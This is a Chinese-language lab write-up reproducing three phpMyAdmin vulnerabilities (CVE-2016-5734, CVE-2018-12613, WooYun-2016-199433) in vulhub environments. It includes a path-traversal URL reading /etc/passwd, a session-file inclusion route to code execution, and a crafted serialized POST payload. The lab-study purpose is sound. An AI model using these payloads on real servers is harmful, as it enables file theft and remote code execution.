phpMyAdmin歷史漏洞復現
簡介
phpMyAdmin是一個非常受歡迎的基於web的MySQL資料庫管理工具。它能夠建立和刪除資料庫,建立/刪除/修改表格,刪除/編輯/新增欄位,執行SQL指令碼等
復現三個古老漏洞
phpMyAdmin 4.0.x—4.6.2 遠端程式碼執行漏洞(CVE-2016-5734)
phpMyAdmin是一套開源的、基於Web的MySQL資料庫管理工具。在其查詢並替換字串功能中,將使用者輸入的資訊拼接進preg_replace
函式第一個引數中。
以下版本受到影響:
- 4.0.10.16之前4.0.x版本
- 4.4.15.7之前4.4.x版本
- 4.6.3之前4.6.x版本(實際上由於該版本要求PHP5.5+,所以無法復現本漏洞)
環境搭建
https://github.com/vulhub/vulhub/blob/master/phpmyadmin/CVE-2016-5734/
遇到的一點問題:
- 端口占用
Bind for 0.0.0.0:8080 failed: port is already allocated
容器佔用的port還沒有完全釋放
停止相應的docker容器程序即可
- 搭建完啟動後發現不能訪問
原因是tcp6協議的問題
解決方法:
vim /usr/lib/sysctl.d/00-system.conf
新增: net.ipv4.ip_forward=1
再重啟網路 systemctl restart network
(雖然還是tcp6,但能訪問了)
發現root/root登入不進去emm
(搭建出錯了)
要在yml檔案同目錄下傳配置檔案
這樣搭建完成後root/root就登入進去了
利用
POC: https://www.exploit-db.com/exploits/40185
利用poc就可以執行遠端命令了
py payload.py -u username -p password -c command [url]
phpmyadmin 4.8.1 遠端檔案包含漏洞(CVE-2018-12613)
影響版本 phpMyAdmin 4.8.0和4.8.1
環境搭建 https://github.com/vulhub/vulhub/tree/master/phpmyadmin/CVE-2018-12613
phpMyAdmin是一套開源的、基於Web的MySQL資料庫管理工具。其index.php中存在一處檔案包含邏輯,通過二次編碼即可繞過檢查,造成遠端檔案包含漏洞。
(需要登陸後才能利用,有些雞肋)
訪問
http://your-ip:8080/index.php?target=db_sql.php%3f/../../../../../../../../etc/passwd 可見/etc/passwd
被讀取,說明檔案包含漏洞存在:
利用方式:
可以執行一下SELECT '<?=phpinfo()?>';
然後檢視自己的sessionid(cookie中phpMyAdmin的值)
然後包含session檔案,實現遠端命令執行的效果
WooYun-2016-199433 反序列化
影響版本: phpmyadmin 2.x版本
危害 : 任意檔案讀取/遠端程式碼執行
環境搭建 https://github.com/vulhub/vulhub/tree/master/phpmyadmin/WooYun-2016-199433
環境啟動後,訪問http://your-ip:8080
,即可看到phpmyadmin的首頁。因為沒有連線資料庫,所以此時會報錯,但我們這個漏洞的利用與資料庫無關,所以忽略。
抓包後 修改資料包為
POST /scripts/setup.php HTTP/1.1
Host: 192.168.230.131:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 80
action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}
可以看到讀取了passwd檔案